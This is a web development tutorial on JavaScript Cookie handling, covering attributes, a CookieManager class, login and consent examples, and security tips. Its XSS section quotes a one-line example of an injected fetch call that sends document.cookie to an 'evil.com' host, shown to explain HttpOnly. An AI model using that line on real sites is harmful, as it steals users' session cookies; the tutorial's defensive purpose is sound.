Cookie Operations and Management: The Veteran of Browser Storage
The History and Present of Cookies
Cookies were born in 1994 and are the oldest client-side storage mechanism in web development. They were originally designed to solve HTTP's stateless protocol problem—servers couldn't remember multiple requests from the same user. Cookies are like the membership card the shop clerk hands you when you visit your regular coffee shop; show it each time you visit, and the clerk knows who you are and what you like.
Although we now have more modern storage solutions like localStorage, sessionStorage, and IndexedDB, Cookies remain indispensable in certain scenarios—especially those involving server interactions like authentication and session tracking.
Basic Concepts of Cookies
A Cookie is essentially a small piece of text information sent by the server to the browser for storage, which the browser will automatically include in subsequent requests.
Cookie Workflow
1. User visits website for the first time
Client ──────request──────> Server
2. Server responds and sets Cookie
Client <──Set-Cookie: id=abc123── Server
3. Browser saves Cookie
4. Subsequent requests automatically carry Cookie
Client ──Cookie: id=abc123──> Server
5. Server recognizes user2
3
4
5
6
7
8
9
10
11
12
Accessing Cookies in JavaScript
JavaScript accesses Cookies through the document.cookie property:
// Read all Cookies
console.log(document.cookie);
// Output similar to: "username=Sarah; theme=dark; language=en"
// Set a Cookie
document.cookie = "visitor=John";
// Note: this is appended, not replaced
document.cookie = "language=zh-CN";
console.log(document.cookie);
// Output: "username=Sarah; theme=dark; language=en; visitor=John; language=zh-CN"2
3
4
5
6
7
8
9
10
11
document.cookie behaves somewhat uniquely: reading returns all Cookies; writing only sets one Cookie without overwriting others.
Reading Cookies
Since document.cookie returns a semicolon-separated string, reading a specific Cookie requires parsing this string:
// Get specific Cookie value
function getCookie(name) {
const cookies = document.cookie.split(";");
for (let cookie of cookies) {
const [cookieName, cookieValue] = cookie.trim().split("=");
if (cookieName === name) {
return decodeURIComponent(cookieValue);
}
}
return null;
}
// Usage example
console.log(getCookie("username")); // 'Sarah'
console.log(getCookie("notExist")); // null
// More robust version
function getCookieRobust(name) {
const nameEQ = encodeURIComponent(name) + "=";
const cookies = document.cookie.split(";");
for (let cookie of cookies) {
cookie = cookie.trim();
if (cookie.indexOf(nameEQ) === 0) {
return decodeURIComponent(cookie.substring(nameEQ.length));
}
}
return null;
}
// Get all Cookies as an object
function getAllCookies() {
const cookies = {};
if (!document.cookie) {
return cookies;
}
document.cookie.split(";").forEach((cookie) => {
const [name, value] = cookie.trim().split("=");
if (name) {
cookies[decodeURIComponent(name)] = decodeURIComponent(value || "");
}
});
return cookies;
}
console.log(getAllCookies());
// { username: 'Sarah', theme: 'dark', language: 'en' }2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
Setting Cookies
When setting Cookies, you can specify multiple attributes to control Cookie behavior:
// Simplest setting
document.cookie = "username=Sarah";
// Set Cookie with expiration
function setCookie(name, value, days) {
let expires = "";
if (days) {
const date = new Date();
date.setTime(date.getTime() + days * 24 * 60 * 60 * 1000);
expires = "; expires=" + date.toUTCString();
}
document.cookie =
encodeURIComponent(name) +
"=" +
encodeURIComponent(value) +
expires +
"; path=/";
}
// Usage example
setCookie("username", "Michael", 30); // Expires in 30 days
setCookie("sessionId", "abc123", 1); // Expires in 1 day
// Set session Cookie (no expires specified, disappears after browser closes)
document.cookie = "tempData=xyz";2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Cookie Attributes Explained
// Complete Cookie setting function
function setCookieAdvanced(name, value, options = {}) {
const {
days, // Valid days
path = "/", // Path
domain, // Domain
secure, // HTTPS only
sameSite, // SameSite attribute
maxAge, // Max age in seconds
} = options;
let cookieString = encodeURIComponent(name) + "=" + encodeURIComponent(value);
// Set expiration time
if (days) {
const date = new Date();
date.setTime(date.getTime() + days * 24 * 60 * 60 * 1000);
cookieString += "; expires=" + date.toUTCString();
}
// Or use max-age (seconds)
if (maxAge) {
cookieString += "; max-age=" + maxAge;
}
// Set path
cookieString += "; path=" + path;
// Set domain
if (domain) {
cookieString += "; domain=" + domain;
}
// Set Secure attribute
if (secure) {
cookieString += "; secure";
}
// Set SameSite attribute
if (sameSite) {
cookieString += "; samesite=" + sameSite;
}
document.cookie = cookieString;
}
// Usage example
setCookieAdvanced("authToken", "secret123", {
days: 7,
path: "/",
secure: true,
sameSite: "Strict",
});
setCookieAdvanced("preferences", JSON.stringify({ theme: "dark" }), {
days: 365,
path: "/",
});2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
Meaning of Each Attribute
| Attribute | Purpose | Example Value |
|---|---|---|
expires | Cookie expiration (absolute) | Thu, 01 Jan 2025 00:00:00 GMT |
max-age | Cookie lifetime in seconds | 3600 (1 hour) |
path | Cookie accessible path | /, /admin |
domain | Cookie accessible domain | .example.com |
secure | Only send over HTTPS | No value, just presence |
sameSite | Cross-site request control | Strict, Lax, None |
path Attribute
path determines which pages can access this Cookie:
// Only available under /admin path
setCookieAdvanced("adminSession", "xyz", { path: "/admin" });
// Available across entire website (default)
setCookieAdvanced("userPrefs", "abc", { path: "/" });
// Example:
// Page /admin/dashboard can access path='/' and path='/admin' Cookies
// Page /products can only access path='/' Cookies2
3
4
5
6
7
8
9
domain Attribute
domain determines which domains can access this Cookie:
// Current domain only (default)
setCookieAdvanced("token", "abc", {
/* No domain specified */
});
// Allow subdomain access (note leading dot)
setCookieAdvanced("sharedSession", "xyz", { domain: ".example.com" });
// Both app.example.com and www.example.com can access2
3
4
5
6
7
8
SameSite Attribute
SameSite is an important security attribute that controls Cookie behavior in cross-site requests:
// Strict: completely prohibits third-party Cookies
// Most secure, but may affect UX (e.g., clicking links from other sites won't carry Cookies)
setCookieAdvanced("strictCookie", "value", { sameSite: "Strict" });
// Lax: relaxed mode (modern browser default)
// Allows navigation requests (like clicking links) to carry Cookies, but prohibits POST requests
setCookieAdvanced("laxCookie", "value", { sameSite: "Lax" });
// None: allow all cross-site requests (must also set Secure)
// For Cookies that need cross-site usage, like third-party login
setCookieAdvanced("crossSiteCookie", "value", {
sameSite: "None",
secure: true,
});2
3
4
5
6
7
8
9
10
11
12
13
14
Deleting Cookies
To delete a Cookie, set its expiration time to the past:
// Delete Cookie
function deleteCookie(name, path = "/") {
document.cookie =
encodeURIComponent(name) +
"=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=" +
path;
}
// Usage example
deleteCookie("username");
deleteCookie("adminSession", "/admin");
// More complete delete function
function deleteCookieComplete(name, options = {}) {
const { path = "/", domain } = options;
let cookieString =
encodeURIComponent(name) +
"=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=" +
path;
if (domain) {
cookieString += "; domain=" + domain;
}
document.cookie = cookieString;
}
// Delete all Cookies
function deleteAllCookies() {
const cookies = document.cookie.split(";");
for (let cookie of cookies) {
const name = cookie.split("=")[0].trim();
deleteCookie(name);
}
}2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Cookie Utility Class
Encapsulate all operations into a practical utility class:
class CookieManager {
// Get single Cookie
static get(name) {
const nameEQ = encodeURIComponent(name) + "=";
const cookies = document.cookie.split(";");
for (let cookie of cookies) {
cookie = cookie.trim();
if (cookie.indexOf(nameEQ) === 0) {
try {
const value = decodeURIComponent(cookie.substring(nameEQ.length));
// Try to parse JSON
return JSON.parse(value);
} catch {
return decodeURIComponent(cookie.substring(nameEQ.length));
}
}
}
return null;
}
// Set Cookie
static set(name, value, options = {}) {
const {
days = null,
hours = null,
minutes = null,
path = "/",
domain = null,
secure = false,
sameSite = "Lax",
} = options;
// Serialize value
const serializedValue =
typeof value === "object" ? JSON.stringify(value) : String(value);
let cookieString =
encodeURIComponent(name) + "=" + encodeURIComponent(serializedValue);
// Calculate expiration time
if (days || hours || minutes) {
const date = new Date();
let ms = 0;
if (days) ms += days * 24 * 60 * 60 * 1000;
if (hours) ms += hours * 60 * 60 * 1000;
if (minutes) ms += minutes * 60 * 1000;
date.setTime(date.getTime() + ms);
cookieString += "; expires=" + date.toUTCString();
}
cookieString += "; path=" + path;
if (domain) {
cookieString += "; domain=" + domain;
}
if (secure) {
cookieString += "; secure";
}
cookieString += "; samesite=" + sameSite;
document.cookie = cookieString;
}
// Delete Cookie
static remove(name, options = {}) {
const { path = "/", domain = null } = options;
let cookieString =
encodeURIComponent(name) +
"=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=" +
path;
if (domain) {
cookieString += "; domain=" + domain;
}
document.cookie = cookieString;
}
// Check if Cookie exists
static has(name) {
return this.get(name) !== null;
}
// Get all Cookies
static getAll() {
const cookies = {};
if (!document.cookie) {
return cookies;
}
document.cookie.split(";").forEach((cookie) => {
const [name, value] = cookie.trim().split("=");
if (name) {
try {
cookies[decodeURIComponent(name)] = JSON.parse(
decodeURIComponent(value || "")
);
} catch {
cookies[decodeURIComponent(name)] = decodeURIComponent(value || "");
}
}
});
return cookies;
}
// Clear all Cookies
static clear() {
const cookies = document.cookie.split(";");
for (let cookie of cookies) {
const name = cookie.split("=")[0].trim();
this.remove(name);
}
}
}
// Usage example
CookieManager.set("username", "Sarah", { days: 30 });
CookieManager.set("preferences", { theme: "dark", lang: "zh" }, { days: 365 });
CookieManager.set("session", "abc123", {
hours: 2,
secure: true,
sameSite: "Strict",
});
console.log(CookieManager.get("username")); // 'Sarah'
console.log(CookieManager.get("preferences")); // { theme: 'dark', lang: 'zh' }
console.log(CookieManager.has("session")); // true
CookieManager.remove("session");
console.log(CookieManager.getAll());2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
Cookie vs Web Storage
| Feature | Cookie | localStorage | sessionStorage |
|---|---|---|---|
| Capacity | ~4KB | ~5-10MB | ~5-10MB |
| Auto-send to server | ✅ Yes | ❌ No | ❌ No |
| Lifecycle | Configurable | Permanent | Session end |
| Access method | Server+Client | Client only | Client only |
| HttpOnly support | ✅ Yes | ❌ No | ❌ No |
| Cross-subdomain | ✅ Configurable | ❌ No | ❌ No |
When to Use Cookies
// ✅ Scenarios suitable for Cookies
// 1. Data that needs to be sent to server
CookieManager.set("authToken", "jwt_token_here", {
days: 7,
secure: true,
sameSite: "Strict",
});
// 2. Sensitive data needing HttpOnly protection (server-set only)
// Server response: Set-Cookie: sessionId=abc; HttpOnly; Secure
// 3. Cross-subdomain data sharing
CookieManager.set("sharedUser", "userId", {
days: 30,
domain: ".example.com",
});
// 4. User tracking (first-party)
CookieManager.set("visitorId", generateUUID(), { days: 365 });2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// ❌ Scenarios NOT suitable for Cookies
// 1. Large data storage — use localStorage or IndexedDB
// Cookies limited to ~4KB, and sent with every request
// 2. Client-side only data — use Web Storage
// Data not needing server send is more efficient with Web Storage
// 3. Frequently read/write data — Cookie parsing is slow
// Use Web Storage for performance-sensitive scenarios2
3
4
5
6
7
8
9
10
Practical Application Scenarios
User Login Status
class AuthCookie {
static TOKEN_NAME = "auth_token";
static USER_NAME = "user_info";
static login(token, user, rememberMe = false) {
const options = {
secure: true,
sameSite: "Strict",
path: "/",
};
if (rememberMe) {
options.days = 30;
}
// No days set means session Cookie
CookieManager.set(this.TOKEN_NAME, token, options);
CookieManager.set(this.USER_NAME, user, options);
}
static logout() {
CookieManager.remove(this.TOKEN_NAME);
CookieManager.remove(this.USER_NAME);
}
static isLoggedIn() {
return CookieManager.has(this.TOKEN_NAME);
}
static getToken() {
return CookieManager.get(this.TOKEN_NAME);
}
static getUser() {
return CookieManager.get(this.USER_NAME);
}
}
// Usage example
// Login (remember me)
AuthCookie.login("jwt_xxxxx", { id: 1, name: "Sarah" }, true);
// Check login status
if (AuthCookie.isLoggedIn()) {
const user = AuthCookie.getUser();
console.log(`Welcome back, ${user.name}!`);
}
// Logout
AuthCookie.logout();2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
Cookie Consent Management
Modern websites usually need user consent before setting non-essential Cookies:
class CookieConsent {
static CONSENT_KEY = "cookie_consent";
static getConsent() {
return CookieManager.get(this.CONSENT_KEY);
}
static setConsent(preferences) {
CookieManager.set(
this.CONSENT_KEY,
{
...preferences,
timestamp: Date.now(),
version: "1.0",
},
{ days: 365 }
);
this.applyConsent(preferences);
}
static applyConsent(preferences) {
if (preferences.analytics) {
this.enableAnalytics();
}
if (preferences.marketing) {
this.enableMarketing();
}
if (preferences.personalization) {
this.enablePersonalization();
}
}
static enableAnalytics() {
console.log("Analytics cookies enabled");
// Initialize Google Analytics etc.
}
static enableMarketing() {
console.log("Marketing cookies enabled");
// Initialize ad tracking etc.
}
static enablePersonalization() {
console.log("Personalization cookies enabled");
// Enable personalization features
}
static showConsentBanner() {
const consent = this.getConsent();
if (!consent) {
// Show consent banner
return true;
}
// Existing consent record, apply preferences
this.applyConsent(consent);
return false;
}
static revokeConsent() {
CookieManager.remove(this.CONSENT_KEY);
// Clear all non-essential Cookies
console.log("Cookie consent revoked");
}
}
// Usage example
if (CookieConsent.showConsentBanner()) {
// Show Cookie consent dialog
// After user clicks accept:
CookieConsent.setConsent({
essential: true, // Essential Cookies, always on
analytics: true, // Analytics Cookies
marketing: false, // Marketing Cookies
personalization: true, // Personalization Cookies
});
}2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
Language and Region Preferences
class LocalePreference {
static COOKIE_NAME = "user_locale";
static set(locale, options = {}) {
CookieManager.set(this.COOKIE_NAME, locale, {
days: 365,
path: "/",
...options,
});
}
static get() {
return CookieManager.get(this.COOKIE_NAME);
}
static detect() {
// Prioritize user-set preference
const saved = this.get();
if (saved) return saved;
// Check browser language
const browserLang = navigator.language || navigator.userLanguage;
// Map to supported languages
const supportedLocales = ["en-US", "zh-CN", "ja-JP", "ko-KR"];
const locale =
supportedLocales.find((l) =>
l.startsWith(browserLang.split("-")[0])
) || "en-US";
return locale;
}
}
// Usage example
const locale = LocalePreference.detect();
console.log(`Current language: ${locale}`);
// User switches language
LocalePreference.set("zh-CN");2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
Security Best Practices
Preventing XSS Attacks
// ⚠️ Cookies can be stolen by XSS attacks
// Attacker-injected scripts can execute:
// fetch('https://evil.com/steal?cookie=' + document.cookie);
// ✅ Sensitive Cookies should use HttpOnly (server-set only)
// Server response: Set-Cookie: sessionId=abc; HttpOnly; Secure
// ✅ For client-accessible Cookies, validate and sanitize
function sanitizeCookieValue(value) {
// Remove potential injection characters
return String(value).replace(/[<>"'&;]/g, "");
}2
3
4
5
6
7
8
9
10
11
12
Preventing CSRF Attacks
// ✅ Use SameSite attribute
CookieManager.set("sessionId", "abc", {
secure: true,
sameSite: "Strict", // or 'Lax'
});
// ✅ Implement CSRF Token
function setCsrfToken() {
const token = crypto.randomUUID();
CookieManager.set("csrf_token", token, {
secure: true,
sameSite: "Strict",
});
return token;
}
// Include CSRF Token in form
function addCsrfToForm(form) {
const token = CookieManager.get("csrf_token");
const input = document.createElement("input");
input.type = "hidden";
input.name = "_csrf";
input.value = token;
form.appendChild(input);
}2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Cookie Size Monitoring
function getCookieSize() {
const cookieString = document.cookie;
const bytes = new Blob([cookieString]).size;
return {
bytes,
kb: (bytes / 1024).toFixed(2),
percentage: ((bytes / 4096) * 100).toFixed(1) + "%",
};
}
function checkCookieUsage() {
const usage = getCookieSize();
if (usage.bytes > 3500) {
// Approaching 4KB limit
console.warn(`Cookie usage too high: ${usage.kb}KB (${usage.percentage})`);
return false;
}
console.log(`Cookie usage: ${usage.kb}KB (${usage.percentage})`);
return true;
}
// Check periodically
setInterval(checkCookieUsage, 60000);2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Common Issues and Solutions
Cookie Not Taking Effect
// Problem 1: Path mismatch
// Cookie set on /admin page defaults to /admin path only
document.cookie = "test=123"; // path defaults to current path
// Solution: explicitly specify path='/'
document.cookie = "test=123; path=/";
// Problem 2: Domain mismatch
// Cookie set on sub.example.com can't be accessed by example.com by default
// Solution: set domain=.example.com
// Problem 3: Secure attribute invalid under HTTP
// Solution: test Secure Cookies under HTTPS
// Problem 4: SameSite=None requires Secure
document.cookie = "test=123; SameSite=None; Secure"; // Must set both2
3
4
5
6
7
8
9
10
11
12
13
14
15
Debugging Cookies
// View all Cookie details
function debugCookies() {
const cookies = CookieManager.getAll();
console.table(cookies);
const usage = getCookieSize();
console.log(`Total size: ${usage.kb}KB`);
}
// In browser console
// Application > Storage > Cookies can view complete information2
3
4
5
6
7
8
9
10
11
Summary
As a veteran member of web storage, Cookies still play an important role in authentication and session management. Despite drawbacks like small capacity and cumbersome API, their features of automatically being sent to servers and supporting HttpOnly security attributes make them the best choice in certain scenarios.
Key takeaways:
- Cookies automatically send to servers with requests, suitable for authentication
- Use
SecureandHttpOnlyattributes to enhance security SameSiteattribute effectively prevents CSRF attacks- Capacity limited to ~4KB, large data storage should use Web Storage
- Encapsulate utility classes to simplify operations and improve maintainability
Reasonable use of Cookies, combined with modern Web Storage API, can build secure and efficient client-side storage solutions.